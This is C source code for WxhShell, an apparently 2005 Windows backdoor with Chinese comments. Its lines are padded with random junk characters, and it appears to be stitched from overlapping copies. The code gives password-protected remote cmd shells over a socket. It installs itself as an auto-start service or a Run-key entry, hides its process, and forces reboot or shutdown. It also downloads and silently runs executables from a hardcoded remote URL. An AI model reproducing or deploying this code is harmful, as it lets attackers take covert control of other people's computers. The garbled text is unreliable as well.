    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QU|{(c  
    if(Boot(SHUTDOWN)) R"Nvnpm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S5*wUd*p#  
    else { .^>[@w3  
    closesocket(wsh); dd>|1'-]  
    ExitThread(0); :{pvA;f  
    } []/=!?5B  
    break; Dq/[ g,(  
    } {";5n7<<)  
  // 获取shell  LKieOgX  
  case 's': { %H75u 6  
    CmdShell(wsh); AR\>P  
    closesocket(wsh); JP)/ O!  
    ExitThread(0); C(Ujx=G+3  
    break; zhY V M Q  
  } s\_-` [B0  
  // 退出 \Si@t{`O  
  case 'x': { 58,_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g6o-/A!Q3  
    CloseIt(wsh); *M\Qt_[  
    break; UeV2`zIg`  
    } D-\\L[  
  // 离开 mVfg+d(  
  case 'q': { ]|18tVXc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4j|]=58  
    closesocket(wsh); fIN8::Cs[  
    WSACleanup(); rp u9  
    exit(1); M>P-0IC  
    break; ;ZPAnd:pb  
        } .%_scNP  
  } $%ZEP> ]  
  } X&nkc/erx  
,LKY?=T$z  
  // 提示信息 YNA %/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {\ [u2{  
} b2u_1P\  
  } Izm8 qt=m  
fqZqPcT0  
  return; ^Crl~~Gk`  
} ,uqSq  
AX}l~ sv  
// shell模块句柄 zk=5uKcPE  
int CmdShell(SOCKET sock) Iz,a Hrq  
{ $]|fjB#D  
STARTUPINFO si; !31v@v:)  
ZeroMemory(&si,sizeof(si)); H>AQlO+J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y,I0o{,g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  Q<B=m6~  
PROCESS_INFORMATION ProcessInfo; \2 &)b  
char cmdline[]="cmd"; {c`kC]9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }C!N$8d,  
  return 0; lfG]^id'  
} tX$%*Uy  
#X'!wr|-  
// 自身启动模式 P0uUVU=B|  
int StartFromService(void) Sq8` )$\  
{ EzqYHY+_r  
typedef struct 0M(\xO  
{ }&sF \b  
  DWORD ExitStatus; +Wh0Of  
  DWORD PebBaseAddress; h~{TCK+I  
  DWORD AffinityMask; sCU<1=   
  DWORD BasePriority; z1wy@1o'  
  ULONG UniqueProcessId; 3$[!BPLFO  
  ULONG InheritedFromUniqueProcessId; :"7V,UP @  
}   PROCESS_BASIC_INFORMATION; 9i GUE  
rU`#3}s  
PROCNTQSIP NtQueryInformationProcess; !:t}8  
/ >c F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8X!^ 2B}J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'hfQ4EN  
}eb}oK  
  HANDLE             hProcess; VeeQmR?u-  
  PROCESS_BASIC_INFORMATION pbi; [}q6bXM*  
;W,XP#{W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \M(0@#-$C  
  if(NULL == hInst ) return 0; Eh&*"&fHR  
0G ^73Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |S[Gg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LPX@oha  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {;1Mud  
4<fKB&  
  if (!NtQueryInformationProcess) return 0; LnP={s  
0*S]m5#;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gh}sk-Xk=  
  if(!hProcess) return 0; IOmQ1X7,  
(b%&DyOt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8sjAr.iT.  
F+ qRC_C>O  
  CloseHandle(hProcess); VSP6osX{  
Wcd;B7OH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4^\5]d!  
if(hProcess==NULL) return 0; 8gWifx #N  
CIAHsbn.A  
HMODULE hMod; Lb;:<  
char procName[255]; SVWtKc<  
unsigned long cbNeeded; 4%>iIPXi.(  
Uu ~BErEC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SE/GT:}  
*-"DZ  
  CloseHandle(hProcess); W m\HZ9PN  
0)n#$d>  
if(strstr(procName,"services")) return 1; // 以服务启动 Tl"GOpH\]  
m[7@l  
  return 0; // 注册表启动 }@%A@A{R  
} ,paD/  
L]I ;{Y  
// 主模块 r(-`b8ZE  
int StartWxhshell(LPSTR lpCmdLine) h}r64<Y2{  
{ %K[_;8  
  SOCKET wsl; Jk=E"I6  
BOOL val=TRUE; :E'uV" j%  
  int port=0; N GP}Z4  
  struct sockaddr_in door; 9nF;$ HB  
DU(QQ53  
  if(wscfg.ws_autoins) Install(); w:%3]2c  
`%_yRJd|;  
port=atoi(lpCmdLine); e<o{3*%p)  
OhMnG@@  
if(port<=0) port=wscfg.ws_port; at"-X?`d  
e]F4w(*=  
  WSADATA data; A (z lX_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t@(S=i7}-  
.`qw8e}y#'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x&>zD0\ :\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q${0(#Nu  
  door.sin_family = AF_INET; =yo?]ZS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M ^gva?{  
  door.sin_port = htons(port); "cSH[/  
V ':?rEN|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OSACH0h  
closesocket(wsl); nP`#z&C  
return 1; C3 >X1nU  
} ^1y (N>W  
6iAHus-  
  if(listen(wsl,2) == INVALID_SOCKET) {  _0^f  
closesocket(wsl); %%`Q5I  
return 1; :uwB)G  
} sk* AlSlM  
  Wxhshell(wsl); &Luq}^u  
  WSACleanup(); n<RvL^T=  
:f<:>"<  
return 0; }>~';l  
O#Y;s;)i"  
}  <sdC#j  
!Ab4'4f  
// 以NT服务方式启动 esE5#Yq4.k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b5WtL+Z  
{ 4rkj$  
DWORD   status = 0; 1=Npq=d  
  DWORD   specificError = 0xfffffff; w0W9N%f#=  
pxC:VJ;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R%l6+Okr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EG=~0j~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <_XyHb-  
  serviceStatus.dwWin32ExitCode     = 0; J3/2>N]/}  
  serviceStatus.dwServiceSpecificExitCode = 0; !F ]7q]g  
  serviceStatus.dwCheckPoint       = 0; o2p;$W4`  
  serviceStatus.dwWaitHint       = 0; qz]b8rX  
` s [77V>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c*F'x-TH  
  if (hServiceStatusHandle==0) return; 2Lravb3  
7bcl^~lY  
status = GetLastError(); _19x`J3  
  if (status!=NO_ERROR) < zUU`  
{ %&EDh2w>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; & !0[T   
    serviceStatus.dwCheckPoint       = 0; .FV wZ:d  
    serviceStatus.dwWaitHint       = 0; ;yd[QT<I<  
    serviceStatus.dwWin32ExitCode     = status; S#gIfb<D  
    serviceStatus.dwServiceSpecificExitCode = specificError; !l2=J/LJj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qU!xh )  
    return; }M_Yn0(3  
  } C|"BMam  
*WS'C}T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Tz/=\_}  
  serviceStatus.dwCheckPoint       = 0; O [Q;[@  
  serviceStatus.dwWaitHint       = 0; dt -EY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^uZ!e+   
} v(Vm:oK,  
.4I "[$?Q  
// 处理NT服务事件,比如:启动、停止 g$=y#<2?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *c"tW8uR  
{ 1E3'H7k\t  
switch(fdwControl) snU $Na3  
{ `bXP )$  
case SERVICE_CONTROL_STOP: ,UOAGu<_gb  
  serviceStatus.dwWin32ExitCode = 0; c:;m BS>~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8M9LY9C  
  serviceStatus.dwCheckPoint   = 0; 4(2iR0N  
  serviceStatus.dwWaitHint     = 0; a-nf5w>&q  
  { ur*a!U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |n9q 4*dN  
  } i;+]Y   
  return; lawjGI  
case SERVICE_CONTROL_PAUSE: e[5= ?p@|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XLG6f(B=F  
  break; {~cG'S Y%  
case SERVICE_CONTROL_CONTINUE: W=Y?_Oz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -s ]  
  break; Xgq-r $O2X  
case SERVICE_CONTROL_INTERROGATE: z>n<+tso  
  break; ZAK NyA2  
}; mn5mdrv3WZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0W}iKT[Z  
} I,rs&m?/m  
V s/Z8t  
// 标准应用程序主函数 M mihWD02  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X{8/]'(  
{ ;0R|#9oX_  
^LaOl+;S  
// 获取操作系统版本 `EFPY$9`D  
OsIsNt=GetOsVer(); 8[2.HM$Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SLCV|@G  
P.8CFl X  
  // 从命令行安装 'a&(r;  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0iy-FV;J  
kqyV UfX$3  
  // 下载执行文件 I\8f`l  
if(wscfg.ws_downexe) { |dLA D4%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]t4 9Efw  
  WinExec(wscfg.ws_filenam,SW_HIDE); _1<zpHp  
}  G{4~{{tI  
F0&BEJBkU  
if(!OsIsNt) { 7&I+mw/X  
// 如果时win9x,隐藏进程并且设置为注册表启动 RU r0K#]  
HideProc(); 6[iuCMOZ  
StartWxhshell(lpCmdLine); | .8lS3C  
} ,7wxVR%Ys  
else  ~\0uy3%  
  if(StartFromService()) T*m;G(  
  // 以服务方式启动 #zRT  
  StartServiceCtrlDispatcher(DispatchTable); ,F4 _ps?(  
else /CXrxeo  
  // 普通方式启动 PA=.)8  
  StartWxhshell(lpCmdLine); *{/L7])gm  
/Ah|Po  
return 0; iJIDx9 )Z  
} d{~5tv- H  
O&ur |&v  
^+v6?%m  
p-KMELB  
=========================================== a.oZ}R7'Y  
t&GjW6]W  
zAr@vBfC%  
!a(#G7zA  
wK0= I\WN9  
n\U3f M>N  
" mAI<zh&SQ  
!'ylh8}  
#include <stdio.h> =|@%5&.P  
#include <string.h> )2 Omsh  
#include <windows.h> %`o3YR  
#include <winsock2.h> h3B s  
#include <winsvc.h> "q-,140_  
#include <urlmon.h> :tc]@0+  
c5jd q[0  
#pragma comment (lib, "Ws2_32.lib") xe4F4FC'  
#pragma comment (lib, "urlmon.lib") ?O]iX;2vM  
_t9@ vVQ  
#define MAX_USER   100 // 最大客户端连接数 Sk'S`vH  
#define BUF_SOCK   200 // sock buffer )v4?+$g  
#define KEY_BUFF   255 // 输入 buffer gEejLyOag  
=z=$S]qN  
#define REBOOT     0   // 重启 9`3%o9V9Y  
#define SHUTDOWN   1   // 关机 |VY+!  
xj1FCT2  
#define DEF_PORT   5000 // 监听端口 aN87^[  
K1vm [Ne  
#define REG_LEN     16   // 注册表键长度 RsY7F;  
#define SVC_LEN     80   // NT服务名长度 `#X\@?'5  
p=tj>{  
// 从dll定义API W~TT`%[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6NvdFss'A{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p4ML } q8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sz5&P )X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @M:Uf7  
uk8vecj  
// wxhshell配置信息 \~3g*V  
struct WSCFG { jz\LI  
  int ws_port;         // 监听端口 B%|cp+/  
  char ws_passstr[REG_LEN]; // 口令 8T}Ycm5}  
  int ws_autoins;       // 安装标记, 1=yes 0=no eyx;8v cM  
  char ws_regname[REG_LEN]; // 注册表键名 B{:JD^V!  
  char ws_svcname[REG_LEN]; // 服务名 rPk=9I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r306`)kX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q- U/JC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D"5uN0Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ac/=%om8u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "R"7'sJMI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (sngq{*%%z  
F<KUVe  
}; 8veYs`  
?q&*|-%)_d  
// default Wxhshell configuration XT n`$}nz  
struct WSCFG wscfg={DEF_PORT, v=(L>gg  
    "xuhuanlingzhe", |{KZ<  
    1, ,ZVC@P,L  
    "Wxhshell", z}Qt6na]-  
    "Wxhshell", i[gq8%  
            "WxhShell Service", fvW7a8k3  
    "Wrsky Windows CmdShell Service", gtcU'4~  
    "Please Input Your Password: ", WVP^C71  
  1, gC}r$ZB(  
  "http://www.wrsky.com/wxhshell.exe", oGK 1D  
  "Wxhshell.exe" JN9 W:X.  
    }; S 1%/ee3  
pa7Iz^i  
// 消息定义模块 RJ#xq#l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \= M*x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N8<Wm>GLX~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +/g/+B_b  
char *msg_ws_ext="\n\rExit."; E1atXx  
char *msg_ws_end="\n\rQuit."; 9~6FWBt  
char *msg_ws_boot="\n\rReboot..."; ^Fy{Q*p`(  
char *msg_ws_poff="\n\rShutdown..."; L*A9a  
char *msg_ws_down="\n\rSave to "; 1^bI9 /  
\]uo^@$bm  
char *msg_ws_err="\n\rErr!"; $)L=MEdx  
char *msg_ws_ok="\n\rOK!"; W!$aK)]4u  
]F,mj-?4x  
char ExeFile[MAX_PATH]; !'4HUB>+  
int nUser = 0; X[ERlw1q4Q  
HANDLE handles[MAX_USER]; RhJ{#G~:%  
int OsIsNt; CS:"F) at  
|@J:A!  
SERVICE_STATUS       serviceStatus; c,$ >u,4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B( ]=I@L=W  
A4}6hG#  
// 函数声明 hFDY2Cp]D  
int Install(void); $'SWH+G  
int Uninstall(void); sqAZjfy@  
int DownloadFile(char *sURL, SOCKET wsh); '.n0[2>  
int Boot(int flag); "V|1w>s  
void HideProc(void); pRt=5WZ  
int GetOsVer(void); V!eq)L  
int Wxhshell(SOCKET wsl); @`qhQ  
void TalkWithClient(void *cs); ;C1]gJZ,  
int CmdShell(SOCKET sock); *x^W`i   
int StartFromService(void); HG(J+ocn   
int StartWxhshell(LPSTR lpCmdLine); vOb=>  
>680}\S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Up61Xn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _N4G[jQLJ  
&zl=}xeA  
// 数据结构和表定义 dtK[H+  
SERVICE_TABLE_ENTRY DispatchTable[] = 67/&AiS?  
{ <&n\)R4C1  
{wscfg.ws_svcname, NTServiceMain}, eOZ0L1JM!  
{NULL, NULL} gNon*\a,-B  
}; _z:7Dj#  
WU:~T.Su  
// 自我安装 [L.+N@M  
int Install(void) G(LGa2;Zg  
{ ?GdoB7(%  
  char svExeFile[MAX_PATH]; }i32  
  HKEY key; Pt/dH+r`%  
  strcpy(svExeFile,ExeFile); JLS|G?#0  
gr\UI!]F  
// 如果是win9x系统,修改注册表设为自启动 3BBw:)V  
if(!OsIsNt) { 3"ALohlL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /D]?+<h1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _]SV@q^  
  RegCloseKey(key); _f9XY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZK =`Y@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8IErLu}  
  RegCloseKey(key); 3h:"-{MW.  
  return 0; 0dv# [  
    } \,YF['Qq  
  } Ga5O&`h  
} =(ULfz[:  
else { ]8)nIT^EP  
&5]&6TD6  
// 如果是NT以上系统,安装为系统服务 0n5{Wr$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jB+K)NXHL  
if (schSCManager!=0) !Cq2<[K#  
{ !f 7CN<  
  SC_HANDLE schService = CreateService uJQ#l\t  
  ( <:[ P&Y  
  schSCManager, 1#KE4(  
  wscfg.ws_svcname, (vX+ Yw  
  wscfg.ws_svcdisp, R`? '|G]P  
  SERVICE_ALL_ACCESS, jQ &$5&o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SE%B&8ZD  
  SERVICE_AUTO_START, m+y5Q&;f  
  SERVICE_ERROR_NORMAL, ('H[[YODh  
  svExeFile, ~j%g?;#*  
  NULL, 5)g6yV'  
  NULL, :VP*\K/:  
  NULL, ao2NwH##  
  NULL, ~>h_#sIBC  
  NULL ,{"%-U#z  
  ); )bJS*#  
  if (schService!=0) > /,7j:X  
  { PuKT0*_ 7  
  CloseServiceHandle(schService); OEz'&))J  
  CloseServiceHandle(schSCManager); (9!$p|d*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dso6ZRx  
  strcat(svExeFile,wscfg.ws_svcname); _wMc7`6F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %,HuG-L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3q{op9_T7  
  RegCloseKey(key); [)K?e!c8  
  return 0; El3Y1g3+3  
    } \k?Fu=@  
  } U?vG?{A  
  CloseServiceHandle(schSCManager); T#ktC0W]h  
} `zQ2 i}Uju  
} `a$-"tW~j  
drr W?U  
return 1; JQ-O=8]  
} CC Z'(Tkq  
ulY8$jB  
// 自我卸载 V1[Cc?o  
int Uninstall(void) mmE!!J`B  
{ DG2CpR)S  
  HKEY key; vuL;P"F4&  
VB*`"4e@b<  
if(!OsIsNt) { (XF"ckma  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >ZAb9=/M)F  
  RegDeleteValue(key,wscfg.ws_regname); 3em&7QM  
  RegCloseKey(key); uc>u=kEue  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { in>Os@e#  
  RegDeleteValue(key,wscfg.ws_regname); s L;  
  RegCloseKey(key); ]r]=Q"/5  
  return 0; fk*$}f  
  } !bf8 r  
} ^T(v4'7  
} t0^chlJP$  
else { p6UPP|-S  
}vp pn=[Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ii< /!B(  
if (schSCManager!=0) 0l.\KF  
{ qfRsp rRI"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2)_Zz~P^f  
  if (schService!=0) IP#w  
  { BZ2frG\0&I  
  if(DeleteService(schService)!=0) { 0rnne L  
  CloseServiceHandle(schService); Z/ Vb_  
  CloseServiceHandle(schSCManager); Me*woCos'  
  return 0; ~"eQPTd  
  } XsOz {?G  
  CloseServiceHandle(schService); d7g3VF<j  
  } %E1_)^ ^  
  CloseServiceHandle(schSCManager); \FE  
} }f/xMp-Y  
} FLWQY,  
UEm~5,>$0  
return 1; rsr}%J  
} ?^y!}(  
|j?iD  
// 从指定url下载文件 M/!5r  
int DownloadFile(char *sURL, SOCKET wsh) uA`EJ )d  
{ G54,`uz2  
  HRESULT hr; 3Ryae/Nk  
char seps[]= "/"; #2dd`F8  
char *token; UW!*=?h  
char *file; o@o0V  
char myURL[MAX_PATH]; 8`I/\8;H'p  
char myFILE[MAX_PATH]; `~~.0QC  
.ty^k@J|]  
strcpy(myURL,sURL); U};~ff+  
  token=strtok(myURL,seps); "Uk "  
  while(token!=NULL) F. N4Q'2Z  
  { ZvQ~K(3  
    file=token; Iu3*`H  
  token=strtok(NULL,seps); Cob<N'.  
  } #b^x!lR  
e!eUgD  
GetCurrentDirectory(MAX_PATH,myFILE); d]fo>[%Xr  
strcat(myFILE, "\\"); ")gd)_FOS  
strcat(myFILE, file); HU~,_m  
  send(wsh,myFILE,strlen(myFILE),0); ap 5D6y+  
send(wsh,"...",3,0); .}xF2'~E/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E%+aqA)f  
  if(hr==S_OK) IJ#G/<ZJZ  
return 0; _^Ds[VAgA  
else (] Zyk, [  
return 1; { \r1A  
0=WZ 8|R  
} Q!%C:b  
I;=HXL  
// 系统电源模块 8!{;yz  
int Boot(int flag) 4>JDo,AWy  
{ D&)w =qIu  
  HANDLE hToken; |i/Iv  
  TOKEN_PRIVILEGES tkp; P&6hk6#  
Q&JnF`*  
  if(OsIsNt) { U]8 @  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ao2m"ym  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 49e~/YY  
    tkp.PrivilegeCount = 1; equ|v~@ y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r[u@ [  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Nt>wzPd)  
if(flag==REBOOT) { sKIpL(_I$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2r 0u[  
  return 0; bD: yu  
} 1@i 8ASL  
else { ptA-rX.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ts~MkO  
  return 0; s#nd:$p3  
} %T_4n^beFQ  
  } @u4q\G\  
  else { \!]Zq#*kH  
if(flag==REBOOT) { 4R;6u[ a]u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ``Yw-|&:Ae  
  return 0; ]>:LHW  
} Q5!"tF p  
else { qGH s2Og  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,(D:cRN  
  return 0; =P,h5J  
} ^")SU(`  
} )/B' ODa  
hwon ^?  
return 1; Msk^H7  
} >3{l"SPU  
NHL -ll-R  
// win9x进程隐藏模块 hYj!*P)uV  
void HideProc(void) ;$0)k(c9  
{ KX|7mr90K  
%wc=Mf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;X9nYH  
  if ( hKernel != NULL )  {[i 37DN  
  { L_k'r\L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Em(&cra  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L#\!0YW/@  
    FreeLibrary(hKernel); -0tHc=\u(  
  } b }^ylm  
*8a8Ng  
return; ne~=^IRB  
} B\tP{}P8{  
DGQGV[9%4C  
// 获取操作系统版本 _Di";fe?  
int GetOsVer(void) _xHEA2e!  
{ m$w'`[H  
  OSVERSIONINFO winfo; fD1a)Az  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z^fkv  
  GetVersionEx(&winfo); ~boTh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aYmC LLj  
  return 1; Ki8]+W37  
  else +V N&kCx)  
  return 0; 4ox[,  
} 2v;F@fUB.  
*k(|r>  
// 客户端句柄模块 L^7"I 4=(D  
int Wxhshell(SOCKET wsl) I Ceb2R  
{ R _c! ,y  
  SOCKET wsh; b/yXE)3 X  
  struct sockaddr_in client; (B0tgg^jj,  
  DWORD myID; AJ:(NV1=  
1pM"j!  
  while(nUser<MAX_USER) RTEzcJ>  
{ NJe^5>4`  
  int nSize=sizeof(client); }H>}v/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h VQj$TA  
  if(wsh==INVALID_SOCKET) return 1; \?|FB~.Ry  
E\X:VQ9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1&wI*4  
if(handles[nUser]==0) ) vKZs:  
  closesocket(wsh); ~0^d-,ZD5  
else h"/y$  
  nUser++; 0fpxr`  
  } }kCaTI?@#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :M |<c9I  
qZcRK9l]F1  
  return 0; mfI>1W(  
} p1O[QQ|  
7a<-}>sU  
// 关闭 socket HqZ3]  
void CloseIt(SOCKET wsh) ?FRuuAS  
{ ;:Yz7<>Y,  
closesocket(wsh); t& *K  
nUser--; Y[8GoqE|  
ExitThread(0); L PDx3MS  
} 'on8r*  
T+0Z2H  
// 客户端请求句柄 "E6*.EtTN#  
void TalkWithClient(void *cs) c^?+"7oO0  
{ B9&$sTAB  
q0>@!1Wb  
  SOCKET wsh=(SOCKET)cs; P>i!f!o*I  
  char pwd[SVC_LEN]; %#zqZ|q  
  char cmd[KEY_BUFF]; UP})j.z  
char chr[1]; cGE,3dsF[  
int i,j; { +$zgg  
:O~*}7G  
  while (nUser < MAX_USER) { Jw b'5[R  
>[D(<b(U&  
if(wscfg.ws_passstr) { $&C~Qti|G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L2L=~/LG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T08SGB]  
  //ZeroMemory(pwd,KEY_BUFF); gZ^'hW-{  
      i=0; zo^34wW^  
  while(i<SVC_LEN) { p1blPBlp  
&.ilku/  
  // 设置超时 V=?qU&r<+  
  fd_set FdRead; k v>rv37u  
  struct timeval TimeOut; lDV}vuM<4  
  FD_ZERO(&FdRead); z"vI-~,YU  
  FD_SET(wsh,&FdRead); ZSUbPz  
  TimeOut.tv_sec=8; W{1"  
  TimeOut.tv_usec=0; $$tFP"pZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d<@SRHP(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VsrYU@V  
l, [cR?v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z :q9~  
  pwd=chr[0]; 3utv  
  if(chr[0]==0xd || chr[0]==0xa) { (9phRo)>  
  pwd=0; u@{z xYn  
  break; ]'[(MH"  
  } RXbhuI  
  i++; Hy9c<X[F9  
    } 4^jIV!V  
lQ]8PR t8  
  // 如果是非法用户,关闭 socket K!\$MBI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }=fVO<R v  
} Wt,t5  
#AN]mH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jk\04k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NO%x 2dx0  
?}tWI7KI  
while(1) { L6ifT`;T  
z^etH/]Sy  
  ZeroMemory(cmd,KEY_BUFF); T0Kjnzs  
;L{#TC(]J]  
      // 自动支持客户端 telnet标准   EW:tb-%`  
  j=0; Wj}PtQ%lp/  
  while(j<KEY_BUFF) { \uUd *  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q~y) V  
  cmd[j]=chr[0]; K4[X P]\jr  
  if(chr[0]==0xa || chr[0]==0xd) { ;GjZvo  
  cmd[j]=0; :=J^"c  
  break; D J:N  
  }  el"XD"*  
  j++; Hx|<NS0}_  
    } F70_N($i  
wyVQV8+&>  
  // 下载文件 A;'*>NS  
  if(strstr(cmd,"http://")) { 'ZUB:R@[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p[J 8 r{'  
  if(DownloadFile(cmd,wsh)) VOY#Y*)g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A$a>=U|Z8  
  else Q6e;hl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O5lP92],  
  } n_qDg  
  else { e+? -#  
2=[deQs  
